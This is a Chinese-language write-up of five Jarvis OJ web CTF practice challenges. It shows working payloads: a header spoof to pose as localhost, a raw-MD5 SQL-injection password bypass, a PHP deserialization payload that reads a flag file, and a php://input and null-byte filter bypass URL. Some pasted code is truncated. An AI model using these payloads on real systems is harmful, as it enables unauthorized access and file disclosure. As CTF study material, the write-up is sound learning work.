jarvisoj web平台练习一
一 PORT51
题目入口 :[http://web.jarvisoj.com:32770/
]
以本地的51号窗口访问服务器即可
windows 下
curl --local-port 51 http://web.jarvisoj.com:32770/
二 LOCALHOST
题目入口 [http://web.jarvisoj.com:32774/
]
抓包使用x-forwarded-for: 修改ip为127.0.0.1即可
三 Login
题目入口 http://web.jarvisoj.com:32772/
抓放包获得hint
给个payload: 129581926211651571912466741651878684928
测试一下:
形成了类似于 :' or '1 的万能密码
四 神盾局的秘密
题目入口 http://web.jarvisoj.com:32768/
打开网页源代码
进入
“c2hpZWxkLmpwZw==” 是base64加密,解密一下试试:
将index.php 加密后:aW5kZXgucGhw 登陆网页
得到 index.php
readfile();
?>
再将 shield.php 加密后 : c2hpZWxkLnBocA== 访问
获得 shield.php的源代码
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield;
$x->file = '%00../pctf.php';
echo serialize($x);
?>
这样看来就是反序列化漏洞了
构造 payload:
file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield;
$x->file = 'pctf.php';
echo serialize($x);
?>
运行得:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
访问即可
五 IN A Mess
题目入口 http://web.jarvisoj.com:32780/
提示
访问:得源码:
";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
payload :
http://web.jarvisoj.com:32780/index.php?id=b&a=php://input&b=%0012345
然后post:
1112 is a nice lab!
。。。。。。。
mmp 看了wp 也没问题呀 难道配置改了?